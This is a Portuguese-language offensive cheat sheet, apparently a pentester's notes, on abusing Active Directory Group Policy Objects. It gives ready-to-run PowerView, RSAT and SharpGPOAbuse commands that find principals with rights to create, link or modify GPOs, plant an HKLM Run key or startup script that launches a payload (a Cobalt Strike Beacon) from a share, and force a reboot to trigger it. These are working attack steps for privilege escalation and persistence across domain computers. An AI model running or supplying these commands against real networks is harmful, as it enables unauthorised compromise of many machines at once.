# GPO (Group Policy Objects)

### Criando GPO e Linkando com uma OU

Os objetos de política de grupo são armazenados em `CN=Policies,CN=System` - os principais que podem criar novos GPOs no domínio têm o privilégio `Create groupPolicyContainer objects` sobre este objeto. Podemos encontrá-los com o cmdlet `Get-DomainObjectAcl` do PowerView, procurando aqueles que têm direitos `CreateChild` no `Group-Policy-Container` e, em seguida, resolvendo seus SIDs para nomes legíveis.

```bash
powershell Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=<subdomain>,DC=<domain>,DC=<local>" -ResolveGUIDs | ? { $_.ObjectAceType -eq "Group-Policy-Container" -and $_.ActiveDirectoryRights -contains "CreateChild" } | % { ConvertFrom-SID $_.SecurityIdentifier }
```

A partir do resultado do comando acima, podemos ver quais grupos tem direito de criar GPO. Porém, ser capaz de criar um GPO não resulta em nada, a menos que possa ser vinculado a uma OU. A capacidade de vincular um GPO a uma OU é controlada na própria OU, concedendo privilégios `Write gPLink`. Isso é algo que podemos encontrar com o PowerView, primeiro obtendo todas as OUs do Domínio e canalizando-as para `Get-DomainObjectAcl` novamente. Itere sobre cada um deles procurando instâncias de `WriteProperty` sobre `GP-Link`.

```bash
powershell Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier | fl
```

Caso o retorno seja positivo, então já sabemos que os membros de um determinado grupo, podem vincular GPOs a uma determianda OU. Aliás guarde o valor de `ObjectDN` para uso futuro.

Os GPOs podem ser gerenciados na linha de comando por meio dos módulos RSAT do PowerShell. Esta é uma instalação opcional e geralmente encontrada apenas em estações de trabalho de gerenciamento. O cmdlet `Get-Module` mostrará se eles estão presentes.

```bash
powershell Get-Module -List -Name GroupPolicy | select -expand ExportedCommands
```

Use o cmdlet `New-GPO` para criar e vincular um novo GPO.

```bash
powershell New-GPO -Name "<Mysther GPO>"
```

Alguns abusos podem ser implementados diretamente usando o RSAT. Por exemplo, o cmdlet `Set-GPPrefRegistryValue` pode ser usado para adicionar uma chave de execução automática HKLM ao registro.

```bash
powershell Set-GPPrefRegistryValue -Name "<Mysther GPO>" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\System32\cmd.exe /c \\<dc\dir\dns_x64.exe>" -Type ExpandString
```

Agora, aplique o GPO à OU de destino. Pegue o valor de `ObjectDN` pelo retorno do segundo comando, que em resumo será o caminho da OU vulnerável.

```bash
powershell Get-GPO -Name "<Mysther GPO>" | New-GPLink -Target "<ObjectDN>"
```

Lembre-se que, as execuções automáticas do HKLM exigem uma reinicialização do SO para serem executadas.

### Modificando GPOs Existentes

Modificar um GPO existente que já esteja aplicado a uma ou mais OUs é o cenário mais simples. Para pesquisá-los, precisamos enumerar todos os GPOs do domínio com `Get-DomainGPO` e verificar a ACL de cada um com `Get-DomainObjectAcl`. Queremos filtrar qualquer um para o qual um principal tenha privilégios de modificação, como `CreateChild`, `WriteProperty` ou `GenericWrite`, e também queremos filtrar os principais legítimos, incluindo SYSTEM, Domain Admins e Enterprise Admins.

```bash
powershell-import <C:\path\to\PowerView.ps1>
powershell Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "CreateChild|WriteProperty" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
```

Pegue o valor de `ObjectDN` e converta em seu nome de GPO. Observe a saída em `displarname`

```bash
powershell Get-DomainGPO -Identity "<CN={SID},CN=Policies,CN=System,DC=domain,DC=local>" | select displayName, gpcFileSysPath
```

Agora vamos converter o SID capturado no campo `SecurityIdentifier`, presente na saída do primeiro comando, utilizando-o no comando abaixo. A partir do resultado, iremos saber qual grupo tem privilégios (verificar permissões no campo `ActiveDirectoryRights`) na GPO em questão.

```bash
powershell ConvertFrom-SID <SID-SecurityIdentifier>
```

Também queremos saber a quais OUs essa GPO se aplica e quais computadores estão nessas OUs. As GPOs são vinculados a uma OU modificando a propriedade `gPLink` da própria OU. O cmdlet `Get-DomainOU` possui um parâmetro `-GPLink` que usa um GUID de GPO. No comando abaixo, utilize somente o valor SID (entre chaves) da GPO, presente no campo `ObjectDN`.

```bash
powershell Get-DomainOU -GPLink "<{SID-GPO}>" | select distinguishedName
```

Finalmente, para obter os computadores em uma OU, podemos usar `Get-DomainComputer` e usar o nome distinto da OU como base de pesquisa. Utilize o valor de `distinguishedName` do comando acima, para montar o comando abaixo.

```bash
powershell Get-DomainComputer -SearchBase "<distinguishedName>" | select dnsHostName
```

Para modificar um GPO sem o uso do `GPMC (Group Policy Management Console)`, podemos modificar os arquivos associados diretamente no SYSVOL (o `gpcFileSysPath`).

```bash
ls \\<subdomain.domain.local>\SysVol\<subdomain.domain.local>\Policies\<{SID-GPO}>
```

Ou se preferir, podemos fazer isso de forma automatizada. Como exemplo, podemos usar um script de inicialização no SYSVOL, que será executado toda vez que um computador afetado for iniciado.

```bash
execute-assembly <C:\path\to\SharpGPOAbuse\SharpGPOAbuse\bin\Release\SharpGPOAbuse.exe> --AddComputerScript --ScriptName <file.bat> --ScriptContents "start /b \\<dc\dir\dns_x64.exe>" --GPOName "<gpo-vulnerable-name>"
```

Para verificar se deu certo, execute o comando do PowerView abaixo

```bash
powershell Find-DomainShare -CheckShareAccess
```

Agora assim que a máquina alvo tiver sua GPO atualizada e a máquina for reiniciada, irá ser trigado o Beacon. Caso tenha acesso a máquina, force esse acontecimento com os seguintes comandos

```bash
gpupdate /force
shutdown -r -t 1
```

### Sites

```bash
# SharpGPOAbuse
https://github.com/FSecureLABS/SharpGPOAbuse
```
